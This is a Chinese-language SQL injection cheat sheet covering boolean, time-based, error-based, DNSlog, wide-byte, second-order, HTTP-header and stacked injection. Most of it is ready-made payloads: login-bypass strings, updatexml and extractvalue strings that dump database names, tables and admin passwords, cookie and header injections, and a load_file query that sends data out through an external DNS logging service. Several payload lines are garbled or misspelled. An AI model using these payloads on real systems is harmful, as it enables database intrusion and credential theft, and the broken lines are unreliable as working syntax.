SQL 注入报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断
或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
1)基于布尔的 SQL 盲注-逻辑判断
regexp,like,ascii,left,ord,mid
布尔盲注原理
只返回布尔值的sql注入漏洞,通过构造语句,来判断数据库信息的正确性,再通过页面反回的布尔值,来判断正确与否
#substr()函数,截取某个字符串,与后面的字符串或数字对比
k' and substr((select database()),1,1)='s'
#left()函数,截取前几个字符与期望值对比
k' and left((database()),1)='s'
#regexp函数,用正则判断
k' and select user() regexp '^r'
#like函数
k' and select user() like 'ro%'
# 爆破库、表、字段长度
k' and select length(database())<xx
#有些sql漏洞中,会屏蔽引号,因此更多采用将截取出来的字符串转为ascii码,再对比ascii码值
#ascii和ord函数功能相同,大于、小于、等于配合二分法使用
k' and ascii(substr((select database()),1,1))=114
k' and ascii(substr((select database()),1,1))>114
k' and ascii(substr((select database()),1,1))<20
ord(substr((select database()),1,1))=114
2)基于时间的 SQL 盲注-延时判断
if,sleep
时间盲注原理
语句执行后,不回显,不报错,不提示真假的sql注入漏洞。可以通过构造语句,通过条件语句判断,为真则立即执行,否则延时执行


#确实是否有注入点,如果相应时间是自定义的睡眠时间,则大概率有注入点
k' and sleep(x) #
#然后通过之前的函数,猜测库、表、字段
k' and if(ascii(substr(database(),1,1))>115,0,sleep(5));
#也可以先通过sleep计算出库、表、字段长度
k' and sleep(length(database()))
3)基于报错的 SQL 盲注-报错回显
floor,updatexml,extractvalue
1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
常用的万能username语句:
a ’ or 1=1 #
a ") or 1=1 #
a‘) or 1=1 #
a” or “1”=”1
' or '1'='1
' or (length(database())) = 8 (用于输入’ “都没有错误)
' or (ascii(substr((select database()) ,1,1))) = 115 # (用于输入’ “都没有错误)
") or ("1")=("1
") or 1=1 or if(1=1, sleep(1), null) #
") or (length(database())) = 8 #
") or (ascii(substr((select database()) ,1,1))) = 115 or if(1=1, sleep(1), null) #
post型盲注通杀payload:uname=admin%df'or()or%200%23&passwd=&submit=Submit
关于UPDATEXML,REFERER,COOKIE的构造
User-Agent:.........' or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
Referer: ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
Cookie:username: admin ’ or updatexml(1,concat(0x7e,database(),0x7e),1) #
updatexml报错注入
爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
参考:
like 'ro%' #判断 ro 或 ro...是否成立
regexp '^xiaodi[a-z]' #匹配 xiaodi 及 xiaodi...等
if(条件,5,0) #条件成立 返回 5 反之 返回 0
sleep(5) #SQL 语句延时执行 5 秒
mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c 位
substr(a,b,c) #从 b 位置开始,截取字符串 a 的 c 长度
left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位
length(database())=8 #判断数据库 database()名的长度
ord=ascii ascii(x)=97 #判断 x 的 ascii 码是否等于 9
floor():MySQL 中用来取整的函数
select count(*) from information_schema.tables group by concat((select version())),floor(rang(0)*2);
#concat 连接字符串功能
#floor 取float的整数值
#rang 取0-1之间随机浮点值
#group by 对结果集进行排序
select verson()就是我们用来做sql注入的语句
extractvalue():MySQL 对 XML 文档数据进行查询的 XPATH 函数
select extractvalue(1,concat(0x7e,(select user()),0x7e));
#extractvalue():接收2个参数,第一个xml文档,第二个xpath语句
#用concat构造一个错误的xpath字符串,使extractvalue函数报错,显示出构造的'错误'字符串
updatexml():MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数
select updatexml(1,concat(0x7e,(select user()),0x7e),1)
#接收3个参数,第一个xml文档,第二个xpath语句,第三个字符串
#原理和extravtvalue一样,构造错误的xpath语句报错
updatexml报错实战
select、delete语句注入
#1 爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
#2 爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) #
#3 爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
#4 爆表名
## 反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0) #
#5 爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) #
#6 爆字段内容
k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) #
insert、update、注入
增、改同样可以用来进行报错注入,只是需要前后分别用or语句连接,使语句完整,一般需要抓包用bp改参数
# 原语句
insert into xxx id values ('k');
# 报错注入语句
k' or updatexml(1,concat(0x7e,(命令)),0) or'
# 组合后语句
insert into xxx id values ('k' or updatexml(1,concat(0x7e,(命令)),0) or'');
head和cookie注入
如果代码调用了head或cookie中的信息拿到数据库进行拼接,也可以用报错注入尝试
同样是先用单引号找到注入点,在进行注入
# http head头注入,假如是对浏览器类型的检测
Mozilla ' or updatexml(1,concat(0x7e,database ()),0) or '
# cookie注入,假如原cookie为 ant[uname]=admin
ant[uname]=admin' and updatexml (1,concat(0x7e,database()),0) #
3)dnslog盲注
dnslog盲注原理
- 首先需要存在sql注入漏洞,但不回显,常规只能用布尔盲注和时间盲注猜单词
- 但是利用
Mysql load_file()函数(唯windows),可以用sql语句发起web请求 - 将我们盲注需要获取的信息,通过二级域名的方式,发起web请求
- 利用特定的dns解析网站,获取这些二级域名的记录,就能得到数据
前提要求
- windows系统
- 该用户具有file权限
SHOW VARIABLES LIKE 'secure_file_priv'结果为NULL
dnslog盲注方法
登录http://ceye.io/网站并注册,得到属于自己的identifier 先尝试在终端运行curl test.xxxx.ceye.io ,在解析记录就可以看到对应记录 在windows系统下,使用load_file()发起如下类似请求:
select load_file(concat('\\\\',(select version()),'.xxxx.ceye.io\\abc'))
如果解析记录有结果,后续就可以用sql注入的其他语法自由发挥了 有些特殊符号不能作为二级域名,通用的方法是用hex()转换为16进制处理
4)宽字节注入
原理:在对单双引号进行了转义过滤的情况下,前面的注入方式都不好使,但可以在引号前加上%df再进行sql注入尝试
它的原理是
\'编码后的值为%5C%27- 使用GBK编码数据库时,两个字符为一个汉字
- ASCII码只有128个,大于128的,就会和第二个字符组成一个汉字
- 使用
%df\',编码后为%df%5C%27
第一个码大于128,因此会使用前两个字符運,最后单剩一个引号
即编码后的值为運' - 然后就可以正常进行sql注入了
宽字节注入方法
黑盒测试的话:在可能的注入点后,键入%df'后,进行测试
白合测试的话:
- 查看mysql编码是否为GBK
- 是否使用
preg_replace转换单引号为\' - 是否使用addslashes进行转义
- 是否使用mysql_real_escape_string进行转义
5)二次编码注入
原理:
- 用户输入
id=1%27,会被php转码为id=1' - 转义代码发现有单引号,转义为
id=1\',无法sql注入 - 用户输入
id=1%2527,由于%25转码后就是%,因而会转码为id=1%27 - 转义代码没有发现单引号,故不转义
- 但后续urldecode等函数,处理url时,会将
id=1%27转码为id=1',就可以注入
注意:如果做白盒测试,要看urldecode函数 是否在转义方法之后
举例1如下:
- 新建用户
admin'#,有特殊字符,但写入成功,并能使用该用户登录 - 正常修改用户密码时
sql语句如是:update user set password='1234' where username='x' and psssword='xx' - 但当用户为
admin'#时
sql语句变为:update user set password='1234' where username='admin'#' and xxxxx
明显井号后的语句都被注释掉了 - 结果就是会修改掉原有用户admin的密码
举例2如下:
- 有两个页面,一个页面写入数据,另一个页面可以有办法查看该数据
- 如果写入时,写入了
xx' union select 1,database(),3 - 如果存在sql注入漏洞,写入的数据应该为
1,库名,3 - 在另一个页面就可以看到该库名数据

6)HTTP头注入
1、UserAgent注入
User-Agent:hacker' and updatexml(1,concat(0xx5e,version(),0x5e),1) and '1'='1
2、Referer 注入
Referer:hacker' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1
3、X-Forwarded-For注入
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
如果系统采用了服务器后端获取 X-Forwarded-For数据,如:利用String ip = request.getHeader(“X-Forwarded-For”);进行获取ip,攻击者可以通过X-Forwarded-For请求头信息就行伪造ip,当然了这个ip也可以是一些注入语句,如下:
X-Forwarded-For:1 and if(now()=sysdate(),sleep(6),0)--
String sql = "select * from table where ip = '"+ip+"'";
构造X-Forwoarded-For头进行测试,http响应出现变化:
X-Forwarded-For: -1' OR 3*2*1=6 AND 000958=000958--
X-Forwarded-For: -1' OR 3*2*1=6 AND 000958=000957--
由此可以判定可能存在注入漏洞的
7)堆叠注入
mysql数据库sql语句的默认结束符是以”;”号结尾,在执行多条sql语句时就要使用结束符隔
开,而堆叠注入其实就是通过结束符来执行多条sql语句
比如我们在mysql的命令行界面执行一条查询语句,这时语句的结尾必须加上分号结束
select * from student;

如果我们想要执行多条sql那就用结束符分号进行隔开,比如在查询的同时查看当前登录用户是谁
select * from student;select current_user();

堆叠注入触发条件
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似mysqli_multi_query()这样的函数,简单总结下来就是
- 目标存在sql注入漏洞
- 目标未对”;”号进行过滤
- 目标中间层查询数据库信息时可同时执行多条sql语句
参考链接:
SQL盲注 · 白帽与安全 · 看云 (kancloud.cn)